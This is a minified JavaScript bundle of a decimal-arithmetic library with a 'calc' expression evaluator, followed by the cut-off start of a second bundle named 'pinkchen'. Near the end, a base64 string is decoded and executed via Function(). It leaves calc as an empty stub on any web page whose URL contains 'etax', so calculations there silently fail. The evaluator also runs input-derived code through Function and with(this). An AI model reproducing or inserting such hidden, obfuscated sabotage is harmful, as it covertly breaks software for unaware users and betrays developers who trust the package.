n.d=f,n.e=F(f,i),c?q(n,u,h):n},x.precision=x.sd=function(n){var e;if(void 0!==n&&!!n!==n&&1!==n&&0!==n)throw Error(f+n);return this.d?(e=A(this.d),n&&this.e+1>e&&(e=this.e+1)):e=NaN,e},x.round=function(){var n=this.constructor;return q(new n(this),this.e+1,n.rounding)},x.sine=x.sin=function(){var n,e,t=this,r=t.constructor;return t.isFinite()?t.isZero()?new r(t):(n=r.precision,e=r.rounding,r.precision=n+Math.max(t.e,t.sd())+7,r.rounding=1,t=function(n,e){var t,i=e.d.length;if(i<3)return e.isZero()?e:I(n,2,e,e);t=(t=1.4*Math.sqrt(i))>16?16:0|t,e=I(n,2,e=e.times(1/B(5,t)),e);for(var r,s=new n(5),o=new n(16),u=new n(20);t--;)r=e.times(e),e=e.times(s.plus(r.times(o.times(r).minus(u))));return e}(r,$(r,t)),r.precision=n,r.rounding=e,q(i>2?t.neg():t,n,e,!0)):new r(NaN)},x.squareRoot=x.sqrt=function(){var n,e,t,i,r,s,o=this.d,u=this.e,h=this.s,f=this.constructor;if(1!==h||!o||!o[0])return new f(!h||h<0&&(!o||o[0])?NaN:o?this:1/0);for(c=!1,0==(h=Math.sqrt(+this))||h==1/0?(((e=E(o)).length+u)%2==0&&(e+="0"),h=Math.sqrt(e),u=p((u+1)/2)-(u<0||u%2),i=new f(e=h==1/0?"5e"+u:(e=h.toExponential()).slice(0,e.indexOf("e")+1)+u)):i=new f(h.toString()),t=(u=f.precision)+3;;)if(i=(s=i).plus(S(this,s,t+2,1)).times(.5),E(s.d).slice(0,t)===(e=E(i.d)).slice(0,t)){if("9999"!=(e=e.slice(t-3,t+1))&&(r||"4999"!=e)){+e&&(+e.slice(1)||"5"!=e.charAt(0))||(q(i,u+1,1),n=!i.times(i).eq(this));break}if(!r&&(q(s,u+1,0),s.times(s).eq(this))){i=s;break}t+=4,r=1}return c=!0,q(i,u,f.rounding,n)},x.tangent=x.tan=function(){var n,e,t=this,r=t.constructor;return t.isFinite()?t.isZero()?new r(t):(n=r.precision,e=r.rounding,r.precision=n+10,r.rounding=1,(t=t.sin()).s=1,t=S(t,new r(1).minus(t.times(t)).sqrt(),n+10,0),r.precision=n,r.rounding=e,q(2==i||4==i?t.neg():t,n,e,!0)):new r(NaN)},x.times=x.mul=function(n){var e,t,i,r,s,o,u,h,f,a=this.constructor,l=this.d,d=(n=new a(n)).d;if(n.s*=this.s,!l||!l[0]||!d||!d[0])return new a(!n.s||l&&!l[0]&&!d||d&&!d[0]&&!l?NaN:!l||!d?n.s/0:0*n.s);for(t=p(this.e/7)+p(n.e/7),(h=l.length)<(f=d.length)&&(s=l,l=d,d=s,o=h,h=f,f=o),s=[],i=o=h+f;i--;)s.push(0);for(i=f;--i>=0;){for(e=0,r=h+i;r>i;)u=s[r]+d[i]*l[r-i-1]+e,s[r--]=u%1e7|0,e=u/1e7|0;s[r]=(s[r]+e)%1e7|0}for(;!s[--o];)s.pop();return e?++t:s.shift(),n.d=s,n.e=F(s,t),c?q(n,a.precision,a.rounding):n},x.toBinary=function(n,e){return V(this,2,n,e)},x.toDecimalPlaces=x.toDP=function(n,e){var t=this,i=t.constructor;return(t=new i(t),void 0===n)?t:(O(n,0,1e9),void 0===e?e=i.rounding:O(e,0,8),q(t,n+t.e+1,e))},x.toExponential=function(n,e){var t,i=this,r=i.constructor;return void 0===n?t=j(i,!0):(O(n,0,1e9),void 0===e?e=r.rounding:O(e,0,8),t=j(i=q(new r(i),n+1,e),!0,n+1)),i.isNeg()&&!i.isZero()?"-"+t:t},x.toFixed=function(n,e){var t,i,r=this.constructor;return void 0===n?t=j(this):(O(n,0,1e9),void 0===e?e=r.rounding:O(e,0,8),t=j(i=q(new r(this),n+this.e+1,e),!1,n+i.e+1)),this.isNeg()&&!this.isZero()?"-"+t:t},x.toFraction=function(n){var e,t,i,r,s,o,u,h,a,l,d,p,m=this.d,w=this.constructor;if(!m)return new w(this);if(a=t=new w(1),i=h=new w(0),o=(s=(e=new w(i)).e=A(m)-this.e-1)%7,e.d[0]=g(10,o<0?7+o:o),null==n)n=s>0?e:a;else{if(!(u=new w(n)).isInt()||u.lt(a))throw Error(f+u);n=u.gt(e)?s>0?e:a:u}for(c=!1,u=new w(E(m)),l=w.precision,w.precision=s=7*m.length*2;d=S(u,e,0,1,1),1!=(r=t.plus(d.times(i))).cmp(n);)t=i,i=r,r=a,a=h.plus(d.times(r)),h=r,r=e,e=u.minus(d.times(r)),u=r;return r=S(n.minus(t),i,0,1,1),h=h.plus(r.times(a)),t=t.plus(r.times(i)),h.s=a.s=this.s,p=1>S(a,i,s,1).minus(this).abs().cmp(S(h,t,s,1).minus(this).abs())?[a,i]:[h,t],w.precision=l,c=!0,p},x.toHexadecimal=x.toHex=function(n,e){return V(this,16,n,e)},x.toNearest=function(n,e){var t=this,i=t.constructor;if(t=new i(t),null==n){if(!t.d)return t;n=new i(1),e=i.rounding}else{if(n=new i(n),void 0===e?e=i.rounding:O(e,0,8),!t.d)return n.s?t:n;if(!n.d)return n.s&&(n.s=t.s),n}return n.d[0]?(c=!1,t=S(t,n,0,e,1).times(n),c=!0,q(t)):(n.s=t.s,t=n),t},x.toNumber=function(){return+this},x.toOctal=function(n,e){return V(this,8,n,e)},x.toPower=x.pow=function(n){var e,t,i,r,s,o,u=this,h=u.constructor,f=+(n=new h(n));if(!u.d||!n.d||!u.d[0]||!n.d[0])return new h(g(+u,f));if((u=new h(u)).eq(1))return u;if(i=h.precision,s=h.rounding,n.eq(1))return q(u,i,s);if((e=p(n.e/7))>=n.d.length-1&&(t=f<0?-f:f)<=0x1fffffffffffff)return r=k(h,u,t,i),n.s<0?new h(1).div(r):q(r,i,s);if((o=u.s)<0){if(e<n.d.length-1)return new h(NaN);if((1&n.d[e])==0&&(o=1),0==u.e&&1==u.d[0]&&1==u.d.length)return u.s=o,u}return(e=0!=(t=g(+u,f))&&isFinite(t)?new h(t+"").e:p(f*(Math.log("0."+E(u.d))/Math.LN10+u.e+1)))>h.maxE+1||e<h.minE-1?new h(e>0?o/0:0):(c=!1,h.rounding=u.s=1,t=Math.min(12,(e+"").length),(r=U(n.times(H(u,i+t)),i)).d&&M((r=q(r,i+5,1)).d,i,s)&&(e=i+10,+E((r=q(U(n.times(H(u,e+t)),e),e+5,1)).d).slice(i+1,i+15)+1==1e14&&(r=q(r,i+1,0))),r.s=o,c=!0,h.rounding=s,q(r,i,s))},x.toPrecision=function(n,e){var t,i=this,r=i.constructor;return void 0===n?t=j(i,i.e<=r.toExpNeg||i.e>=r.toExpPos):(O(n,1,1e9),void 0===e?e=r.rounding:O(e,0,8),t=j(i=q(new r(i),n,e),n<=i.e||i.e<=r.toExpNeg,n)),i.isNeg()&&!i.isZero()?"-"+t:t},x.toSignificantDigits=x.toSD=function(n,e){var t=this.constructor;return void 0===n?(n=t.precision,e=t.rounding):(O(n,1,1e9),void 0===e?e=t.rounding:O(e,0,8)),q(new t(this),n,e)},x.toString=function(){var n=this.constructor,e=j(this,this.e<=n.toExpNeg||this.e>=n.toExpPos);return this.isNeg()&&!this.isZero()?"-"+e:e},x.truncated=x.trunc=function(){return q(new this.constructor(this),this.e+1,1)},x.valueOf=x.toJSON=function(){var n=this.constructor,e=j(this,this.e<=n.toExpNeg||this.e>=n.toExpPos);return this.isNeg()?"-"+e:e};var S=function(){function n(n,e,t){var i,r=0,s=n.length;for(n=n.slice();s--;)i=n[s]*e+r,n[s]=i%t|0,r=i/t|0;return r&&n.unshift(r),n}function e(n,e,t,i){var r,s;if(t!=i)s=t>i?1:-1;else for(r=s=0;r<t;r++)if(n[r]!=e[r]){s=n[r]>e[r]?1:-1;break}return s}function i(n,e,t,i){for(var r=0;t--;)n[t]-=r,r=+(n[t]<e[t]),n[t]=r*i+n[t]-e[t];for(;!n[0]&&n.length>1;)n.shift()}return function(r,s,o,u,c,h){var f,a,l,d,g,m,w,v,N,b,y,x,E,O,M,P,S,j,F,D,Z=r.constructor,A=r.s==s.s?1:-1,R=r.d,k=s.d;if(!R||!R[0]||!k||!k[0])return new Z(!r.s||!s.s||(R?k&&R[0]==k[0]:!k)?NaN:R&&0==R[0]||!k?0*A:A/0);for(h?(g=1,a=r.e-s.e):(h=1e7,g=7,a=p(r.e/g)-p(s.e/g)),F=k.length,S=R.length,b=(N=new Z(A)).d=[],l=0;k[l]==(R[l]||0);l++);if(k[l]>(R[l]||0)&&a--,null==o?(O=o=Z.precision,u=Z.rounding):O=c?o+(r.e-s.e)+1:o,O<0)b.push(1),m=!0;else{if(O=O/g+2|0,l=0,1==F){for(d=0,k=k[0],O++;(l<S||d)&&O--;l++)M=d*h+(R[l]||0),b[l]=M/k|0,d=M%k|0;m=d||l<S}else{for((d=h/(k[0]+1)|0)>1&&(k=n(k,d,h),R=n(R,d,h),F=k.length,S=R.length),P=F,x=(y=R.slice(0,F)).length;x<F;)y[x++]=0;(D=k.slice()).unshift(0),j=k[0],k[1]>=h/2&&++j;do d=0,(f=e(k,y,F,x))<0?(E=y[0],F!=x&&(E=E*h+(y[1]||0)),(d=E/j|0)>1?(d>=h&&(d=h-1),v=(w=n(k,d,h)).length,x=y.length,1==(f=e(w,y,v,x))&&(d--,i(w,F<v?D:k,v,h))):(0==d&&(f=d=1),w=k.slice()),(v=w.length)<x&&w.unshift(0),i(y,w,x,h),-1==f&&(x=y.length,(f=e(k,y,F,x))<1&&(d++,i(y,F<x?D:k,x,h))),x=y.length):0===f&&(d++,y=[0]),b[l++]=d,f&&y[0]?y[x++]=R[P]||0:(y=[R[P]],x=1);while((P++<S||void 0!==y[0])&&O--);m=void 0!==y[0]}b[0]||b.shift()}if(1==g)N.e=a,t=m;else{for(l=1,d=b[0];d>=10;d/=10)l++;N.e=l+a*g-1,q(N,c?o+N.e+1:o,u,m)}return N}}();function q(n,e,t,i){var r,s,o,u,h,f,a,l,d,p=n.constructor;n:if(null!=e){if(!(l=n.d))return n;for(r=1,u=l[0];u>=10;u/=10)r++;if((s=e-r)<0)s+=7,o=e,h=(a=l[d=0])/g(10,r-o-1)%10|0;else if((d=Math.ceil((s+1)/7))>=(u=l.length))if(i){for(;u++<=d;)l.push(0);a=h=0,r=1,s%=7,o=s-7+1}else break n;else{for(r=1,a=u=l[d];u>=10;u/=10)r++;s%=7,h=(o=s-7+r)<0?0:a/g(10,r-o-1)%10|0}if(i=i||e<0||void 0!==l[d+1]||(o<0?a:a%g(10,r-o-1)),f=t<4?(h||i)&&(0==t||t==(n.s<0?3:2)):h>5||5==h&&(4==t||i||6==t&&(s>0?o>0?a/g(10,r-o):0:l[d-1])%10&1||t==(n.s<0?8:7)),e<1||!l[0])return l.length=0,f?(e-=n.e+1,l[0]=g(10,(7-e%7)%7),n.e=-e||0):l[0]=n.e=0,n;if(0==s?(l.length=d,u=1,d--):(l.length=d+1,u=g(10,7-s),l[d]=o>0?(a/g(10,r-o)%g(10,o)|0)*u:0),f)for(;;)if(0==d){for(s=1,o=l[0];o>=10;o/=10)s++;for(o=l[0]+=u,u=1;o>=10;o/=10)u++;s!=u&&(n.e++,1e7==l[0]&&(l[0]=1));break}else{if(l[d]+=u,1e7!=l[d])break;l[d--]=0,u=1}for(s=l.length;0===l[--s];)l.pop()}return c&&(n.e>p.maxE?(n.d=null,n.e=NaN):n.e<p.minE&&(n.e=0,n.d=[0])),n}function j(n,e,t){if(!n.isFinite())return L(n);var i,r=n.e,s=E(n.d),o=s.length;return e?(t&&(i=t-o)>0?s=s.charAt(0)+"."+s.slice(1)+R(i):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(n.e<0?"e":"e+")+n.e):r<0?(s="0."+R(-r-1)+s,t&&(i=t-o)>0&&(s+=R(i))):r>=o?(s+=R(r+1-o),t&&(i=t-r-1)>0&&(s=s+"."+R(i))):((i=r+1)<o&&(s=s.slice(0,i)+"."+s.slice(i)),t&&(i=t-o)>0&&(r+1===o&&(s+="."),s+=R(i))),s}function F(n,e){var t=n[0];for(e*=7;t>=10;t/=10)e++;return e}function D(n,e,t){if(e>b)throw c=!0,t&&(n.precision=t),Error(a);return q(new n(s),e,1,!0)}function Z(n,e,t){if(e>y)throw Error(a);return q(new n(o),e,t,!0)}function A(n){var e=n.length-1,t=7*e+1;if(e=n[e]){for(;e%10==0;e/=10)t--;for(e=n[0];e>=10;e/=10)t++}return t}function R(n){for(var e="";n--;)e+="0";return e}function k(n,e,t,i){var r,s=new n(1),o=Math.ceil(i/7+4);for(c=!1;;){if(t%2&&W((s=s.times(e)).d,o)&&(r=!0),0===(t=p(t/2))){t=s.d.length-1,r&&0===s.d[t]&&++s.d[t];break}W((e=e.times(e)).d,o)}return c=!0,s}function T(n){return 1&n.d[n.d.length-1]}function _(n,e,t){for(var i,r,s=new n(e[0]),o=0;++o<e.length;){if(!(r=new n(e[o])).s){s=r;break}((i=s.cmp(r))===t||0===i&&s.s===t)&&(s=r)}return s}function U(n,e){var t,i,r,s,o,u,h,f=0,a=0,l=0,d=n.constructor,p=d.rounding,m=d.precision;if(!n.d||!n.d[0]||n.e>17)return new d(n.d?!n.d[0]?1:n.s<0?0:1/0:n.s?n.s<0?0:n:0/0);for(null==e?(c=!1,h=m):h=e,u=new d(.03125);n.e>-2;)n=n.times(u),l+=5;for(h+=i=Math.log(g(2,l))/Math.LN10*2+5|0,t=s=o=new d(1),d.precision=h;;){if(s=q(s.times(n),h,1),t=t.times(++a),E((u=o.plus(S(s,t,h,1))).d).slice(0,h)===E(o.d).slice(0,h)){for(r=l;r--;)o=q(o.times(o),h,1);if(null!=e)return d.precision=m,o;if(!(f<3&&M(o.d,h-i,p,f)))return q(o,d.precision=m,p,c=!0);d.precision=h+=10,t=s=u=new d(1),a=0,f++}o=u}}function H(n,e){var t,i,r,s,o,u,h,f,a,l,d,p=1,g=n,m=g.d,w=g.constructor,v=w.rounding,N=w.precision;if(g.s<0||!m||!m[0]||!g.e&&1==m[0]&&1==m.length)return new w(m&&!m[0]?-1/0:1!=g.s?NaN:m?0:g);if(null==e?(c=!1,a=N):a=e,w.precision=a+=10,i=(t=E(m)).charAt(0),!(15e14>Math.abs(s=g.e)))return f=D(w,a+2,N).times(s+""),g=H(new w(i+"."+t.slice(1)),a-10).plus(f),w.precision=N,null==e?q(g,N,v,c=!0):g;for(;i<7&&1!=i||1==i&&t.charAt(1)>3;)i=(t=E((g=g.times(n)).d)).charAt(0),p++;for(s=g.e,i>1?(g=new w("0."+t),s++):g=new w(i+"."+t.slice(1)),l=g,h=o=g=S(g.minus(1),g.plus(1),a,1),d=q(g.times(g),a,1),r=3;;){if(o=q(o.times(d),a,1),E((f=h.plus(S(o,new w(r),a,1))).d).slice(0,a)===E(h.d).slice(0,a)){if(h=h.times(2),0!==s&&(h=h.plus(D(w,a+2,N).times(s+""))),h=S(h,new w(p),a,1),null!=e)return w.precision=N,h;if(!M(h.d,a-10,v,u))return q(h,w.precision=N,v,c=!0);w.precision=a+=10,f=o=g=S(l.minus(1),l.plus(1),a,1),d=q(g.times(g),a,1),r=u=1}h=f,r+=2}}function L(n){return String(n.s*n.s/0)}function C(n,e){var t,i,r;for((t=e.indexOf("."))>-1&&(e=e.replace(".","")),(i=e.search(/e/i))>0?(t<0&&(t=i),t+=+e.slice(i+1),e=e.substring(0,i)):t<0&&(t=e.length),i=0;48===e.charCodeAt(i);i++);for(r=e.length;48===e.charCodeAt(r-1);--r);if(e=e.slice(i,r)){if(r-=i,n.e=t=t-i-1,n.d=[],i=(t+1)%7,t<0&&(i+=7),i<r){for(i&&n.d.push(+e.slice(0,i)),r-=7;i<r;)n.d.push(+e.slice(i,i+=7));i=7-(e=e.slice(i)).length}else i-=r;for(;i--;)e+="0";n.d.push(+e),c&&(n.e>n.constructor.maxE?(n.d=null,n.e=NaN):n.e<n.constructor.minE&&(n.e=0,n.d=[0]))}else n.e=0,n.d=[0];return n}function I(n,e,t,i,r){var s,o,u,h,f=n.precision,a=Math.ceil(f/7);for(c=!1,h=t.times(t),u=new n(i);;){if(o=S(u.times(h),new n(e++*e++),f,1),u=r?i.plus(o):i.minus(o),i=S(o.times(h),new n(e++*e++),f,1),void 0!==(o=u.plus(i)).d[a]){for(s=a;o.d[s]===u.d[s]&&s--;);if(-1==s)break}s=u,u=i,i=o,o=s}return c=!0,o.d.length=a+1,o}function B(n,e){for(var t=n;--e;)t*=n;return t}function $(n,e){var t,r=e.s<0,s=Z(n,n.precision,1),o=s.times(.5);if((e=e.abs()).lte(o))return i=r?4:1,e;if((t=e.divToInt(s)).isZero())i=r?3:2;else{if((e=e.minus(t.times(s))).lte(o))return i=T(t)?r?2:3:r?4:1,e;i=T(t)?r?1:4:r?3:2}return e.minus(s).abs()}function V(n,e,i,s){var o,u,c,h,f,a,l,d,p,g=n.constructor,m=void 0!==i;if(m?(O(i,1,1e9),void 0===s?s=g.rounding:O(s,0,8)):(i=g.precision,s=g.rounding),n.isFinite()){for(c=(l=j(n)).indexOf("."),m?(o=2,16==e?i=4*i-3:8==e&&(i=3*i-2)):o=e,c>=0&&(l=l.replace(".",""),(p=new g(1)).e=l.length-c,p.d=P(j(p),10,o),p.e=p.d.length),u=f=(d=P(l,10,o)).length;0==d[--f];)d.pop();if(d[0]){if(c<0?u--:((n=new g(n)).d=d,n.e=u,d=(n=S(n,p,i,s,0,o)).d,u=n.e,a=t),c=d[i],h=o/2,a=a||void 0!==d[i+1],a=s<4?(void 0!==c||a)&&(0===s||s===(n.s<0?3:2)):c>h||c===h&&(4===s||a||6===s&&1&d[i-1]||s===(n.s<0?8:7)),d.length=i,a)for(;++d[--i]>o-1;)d[i]=0,i||(++u,d.unshift(1));for(f=d.length;!d[f-1];--f);for(c=0,l="";c<f;c++)l+=r.charAt(d[c]);if(m){if(f>1)if(16==e||8==e){for(c=16==e?4:3,--f;f%c;f++)l+="0";for(f=(d=P(l,o,e)).length;!d[f-1];--f);for(c=1,l="1.";c<f;c++)l+=r.charAt(d[c])}else l=l.charAt(0)+"."+l.slice(1);l=l+(u<0?"p":"p+")+u}else if(u<0){for(;++u;)l="0"+l;l="0."+l}else if(++u>f)for(u-=f;u--;)l+="0";else u<f&&(l=l.slice(0,u)+"."+l.slice(u))}else l=m?"0p+0":"0";l=(16==e?"0x":2==e?"0b":8==e?"0o":"")+l}else l=L(n);return n.s<0?"-"+l:l}function W(n,e){if(n.length>e)return n.length=e,!0}function Y(n){return new this(n).abs()}function z(n){return new this(n).acos()}function J(n){return new this(n).acosh()}function G(n,e){return new this(n).plus(e)}function X(n){return new this(n).asin()}function K(n){return new this(n).asinh()}function Q(n){return new this(n).atan()}function nn(n){return new this(n).atanh()}function ne(n,e){n=new this(n),e=new this(e);var t,i=this.precision,r=this.rounding,s=i+4;return n.s&&e.s?n.d||e.d?!e.d||n.isZero()?(t=e.s<0?Z(this,i,r):new this(0)).s=n.s:!n.d||e.isZero()?(t=Z(this,s,1).times(.5)).s=n.s:e.s<0?(this.precision=s,this.rounding=1,t=this.atan(S(n,e,s,1)),e=Z(this,s,1),this.precision=i,this.rounding=r,t=n.s<0?t.minus(e):t.plus(e)):t=this.atan(S(n,e,s,1)):(t=Z(this,s,1).times(e.s>0?.25:.75)).s=n.s:t=new this(NaN),t}function nt(n){return new this(n).cbrt()}function ni(n){return q(n=new this(n),n.e+1,2)}function nr(n,e,t){return new this(n).clamp(e,t)}function ns(n){if(!n||"object"!=typeof n)throw Error(h+"Object expected");var e,t,i,r=!0===n.defaults,s=["precision",1,1e9,"rounding",0,8,"toExpNeg",-9e15,0,"toExpPos",0,9e15,"maxE",0,9e15,"minE",-9e15,0,"modulo",0,9];for(e=0;e<s.length;e+=3)if(t=s[e],r&&(this[t]=u[t]),void 0!==(i=n[t]))if(p(i)===i&&i>=s[e+1]&&i<=s[e+2])this[t]=i;else throw Error(f+t+": "+i);if(t="crypto",r&&(this[t]=u[t]),void 0!==(i=n[t]))if(!0===i||!1===i||0===i||1===i)if(i)if("undefined"!=typeof crypto&&crypto&&(crypto.getRandomValues||crypto.randomBytes))this[t]=!0;else throw Error(l);else this[t]=!1;else throw Error(f+t+": "+i);return this}function no(n){return new this(n).cos()}function nu(n){return new this(n).cosh()}function nc(n,e){return new this(n).div(e)}function nh(n){return new this(n).exp()}function nf(n){return q(n=new this(n),n.e+1,3)}function na(){var n,e,t=new this(0);for(n=0,c=!1;n<arguments.length;)if(e=new this(arguments[n++]),e.d)t.d&&(t=t.plus(e.times(e)));else{if(e.s)return c=!0,new this(1/0);t=e}return c=!0,t.sqrt()}function nl(n){return n instanceof nA||n&&n.toStringTag===d||!1}function nd(n){return new this(n).ln()}function np(n,e){return new this(n).log(e)}function ng(n){return new this(n).log(2)}function nm(n){return new this(n).log(10)}function nw(){return _(this,arguments,-1)}function nv(){return _(this,arguments,1)}function nN(n,e){return new this(n).mod(e)}function nb(n,e){return new this(n).mul(e)}function ny(n,e){return new this(n).pow(e)}function nx(n){var e,t,i,r,s=0,o=new this(1),u=[];if(void 0===n?n=this.precision:O(n,1,1e9),i=Math.ceil(n/7),this.crypto)if(crypto.getRandomValues)for(e=crypto.getRandomValues(new Uint32Array(i));s<i;)(r=e[s])>=429e7?e[s]=crypto.getRandomValues(new Uint32Array(1))[0]:u[s++]=r%1e7;else if(crypto.randomBytes){for(e=crypto.randomBytes(i*=4);s<i;)(r=e[s]+(e[s+1]<<8)+(e[s+2]<<16)+((127&e[s+3])<<24))>=214e7?crypto.randomBytes(4).copy(e,s):(u.push(r%1e7),s+=4);s=i/4}else throw Error(l);else for(;s<i;)u[s++]=1e7*Math.random()|0;for(i=u[--s],n%=7,i&&n&&(r=g(10,7-n),u[s]=(i/r|0)*r);0===u[s];s--)u.pop();if(s<0)t=0,u=[0];else{for(t=-1;0===u[0];t-=7)u.shift();for(i=1,r=u[0];r>=10;r/=10)i++;i<7&&(t-=7-i)}return o.e=t,o.d=u,o}function nE(n){return q(n=new this(n),n.e+1,this.rounding)}function nO(n){return(n=new this(n)).d?n.d[0]?n.s:0*n.s:n.s||NaN}function nM(n){return new this(n).sin()}function nP(n){return new this(n).sinh()}function nS(n){return new this(n).sqrt()}function nq(n,e){return new this(n).sub(e)}function nj(){var n=0,e=arguments,t=new this(e[0]);for(c=!1;t.s&&++n<e.length;)t=t.plus(e[n]);return c=!0,q(t,this.precision,this.rounding)}function nF(n){return new this(n).tan()}function nD(n){return new this(n).tanh()}function nZ(n){return q(n=new this(n),n.e+1,1)}x[Symbol.for("nodejs.util.inspect.custom")]=x.toString,x[Symbol.toStringTag]="Decimal";var nA=x.constructor=function n(e){var t,i,r;function s(n){var e,t,i;if(!(this instanceof s))return new s(n);if(this.constructor=s,nl(n)){this.s=n.s,c?!n.d||n.e>s.maxE?(this.e=NaN,this.d=null):n.e<s.minE?(this.e=0,this.d=[0]):(this.e=n.e,this.d=n.d.slice()):(this.e=n.e,this.d=n.d?n.d.slice():n.d);return}if("number"==(i=typeof n)){if(0===n){this.s=1/n<0?-1:1,this.e=0,this.d=[0];return}if(n<0?(n=-n,this.s=-1):this.s=1,n===~~n&&n<1e7){for(e=0,t=n;t>=10;t/=10)e++;c?e>s.maxE?(this.e=NaN,this.d=null):e<s.minE?(this.e=0,this.d=[0]):(this.e=e,this.d=[n]):(this.e=e,this.d=[n]);return}if(0*n!=0){n||(this.s=NaN),this.e=NaN,this.d=null;return}return C(this,n.toString())}if("string"===i)return 45===(t=n.charCodeAt(0))?(n=n.slice(1),this.s=-1):(43===t&&(n=n.slice(1)),this.s=1),N.test(n)?C(this,n):function(n,e){var t,i,r,s,o,u,h,a,l;if(e.indexOf("_")>-1){if(e=e.replace(/(\d)_(?=\d)/g,"$1"),N.test(e))return C(n,e)}else if("Infinity"===e||"NaN"===e)return+e||(n.s=NaN),n.e=NaN,n.d=null,n;if(w.test(e))t=16,e=e.toLowerCase();else if(m.test(e))t=2;else if(v.test(e))t=8;else throw Error(f+e);for((s=e.search(/p/i))>0?(h=+e.slice(s+1),e=e.substring(2,s)):e=e.slice(2),o=(s=e.indexOf("."))>=0,i=n.constructor,o&&(s=(u=(e=e.replace(".","")).length)-s,r=k(i,new i(t),s,2*s)),s=l=(a=P(e,t,1e7)).length-1;0===a[s];--s)a.pop();return s<0?new i(0*n.s):(n.e=F(a,l),n.d=a,c=!1,o&&(n=S(n,r,4*u)),h&&(n=n.times(54>Math.abs(h)?g(2,h):nA.pow(2,h))),c=!0,n)}(this,n);if("bigint"===i)return n<0?(n=-n,this.s=-1):this.s=1,C(this,n.toString());throw Error(f+n)}if(s.prototype=x,s.ROUND_UP=0,s.ROUND_DOWN=1,s.ROUND_CEIL=2,s.ROUND_FLOOR=3,s.ROUND_HALF_UP=4,s.ROUND_HALF_DOWN=5,s.ROUND_HALF_EVEN=6,s.ROUND_HALF_CEIL=7,s.ROUND_HALF_FLOOR=8,s.EUCLID=9,s.config=s.set=ns,s.clone=n,s.isDecimal=nl,s.abs=Y,s.acos=z,s.acosh=J,s.add=G,s.asin=X,s.asinh=K,s.atan=Q,s.atanh=nn,s.atan2=ne,s.cbrt=nt,s.ceil=ni,s.clamp=nr,s.cos=no,s.cosh=nu,s.div=nc,s.exp=nh,s.floor=nf,s.hypot=na,s.ln=nd,s.log=np,s.log10=nm,s.log2=ng,s.max=nw,s.min=nv,s.mod=nN,s.mul=nb,s.pow=ny,s.random=nx,s.round=nE,s.sign=nO,s.sin=nM,s.sinh=nP,s.sqrt=nS,s.sub=nq,s.sum=nj,s.tan=nF,s.tanh=nD,s.trunc=nZ,void 0===e&&(e={}),e&&!0!==e.defaults)for(t=0,r=["precision","rounding","toExpNeg","toExpPos","maxE","minE","modulo","crypto"];t<r.length;)e.hasOwnProperty(i=r[t++])||(e[i]=this[i]);return s.config(e),s}(u);s=new nA(s),o=new nA(o);var nR={"+":"plus","-":"minus","*":"times","/":"div"},nk={calc:function(n,e,t){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(nk,function(n,e,t){var i,r,s=t||{},o=s.separator,u=s.digit,c=s.preUnit,h=s.postUnit,f=s.percentage,a=s.permillage;if(f&&a)throw Error("percentage and permillage cannot be true at the same time");var l=function n(e,t){var i=t||new Map,r=t?e:e.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+");t||(r=function(n,e){for(var t=0,i=n,r=/\(([^()]*)\)/g,s=RegExp("(?<!^)(?<![*/])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),o=function(n){var i="#".concat(t++);return e.set(i,n),i},u=function(n,i){var r=i.replace(s,o),u="#".concat(t++);return e.set(u,r),u};i.includes("(");)i=i.replace(r,u);return i.replace(s,o)}(r,i));var s=[],o=r.length,u="",c=!1;function h(){if(!s.length)return"";var n=s.join("");return s=[],/\)\.[a-z]+\($/.test(u)?n:"DC(".concat(n,")")}function f(){c&&(u+=")"),c=!1}for(var a=0;a<o;++a){var l=r[a];if(Object.keys(nR).includes(l)){if(0===a){s.push(l);continue}u+=h(),f(),u+=u?".".concat(nR[l],"("):"",c=!0}else s.push(l)}return s.length>0&&(u+=h()),f(),u=u.replace(/#\d+/g,function(e){return n(i.get(e),i)})}(n),d=Function("with(this){return ".concat(l,"}")).call((i=function(n){for(var e=1;e<arguments.length;e++){var t=null!=arguments[e]?arguments[e]:{},i=Object.keys(t);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(t).filter(function(n){return Object.getOwnPropertyDescriptor(t,n).enumerable}))),i.forEach(function(e){var i;i=t[e],e in n?Object.defineProperty(n,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):n[e]=i})}return n}({},e),r=r={DC:nA},Object.getOwnPropertyDescriptors?Object.defineProperties(i,Object.getOwnPropertyDescriptors(r)):(function(n,e){var t=Object.keys(n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(n);t.push.apply(t,i)}return t})(Object(r)).forEach(function(n){Object.defineProperty(i,n,Object.getOwnPropertyDescriptor(r,n))}),i));return d=d.toNumber(),f&&(d=nA(d).div(100)),a&&(d=nA(d).div(1e3)),u&&(d=nA(d).toFixed(u)),o&&(d=d.toString().replace(RegExp("(?<!\\.\\d+)\\B(?=(?:\\d{3})+($|\\.))","g"),",")),(f||a)&&(d+=f?" %":" ‰"),c&&(d="".concat(c," ")+d.toString()),h&&(d=d.toString()+" ".concat(h)),d});var nT="1.0.2",n_=nk.calc;return e}()});
|
|
2
|
+
!function(n,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.pinkchen=t():n.pinkchen=t()}(self,function(){return function(){"use strict";var n,t={};t.d=function(n,e){for(var i in e)t.o(e,i)&&!t.o(n,i)&&Object.defineProperty(n,i,{enumerable:!0,get:e[i]})},t.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},t.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})};var e={};t.r(e),t.d(e,{calc:function(){return nB},version:function(){return n$}});var 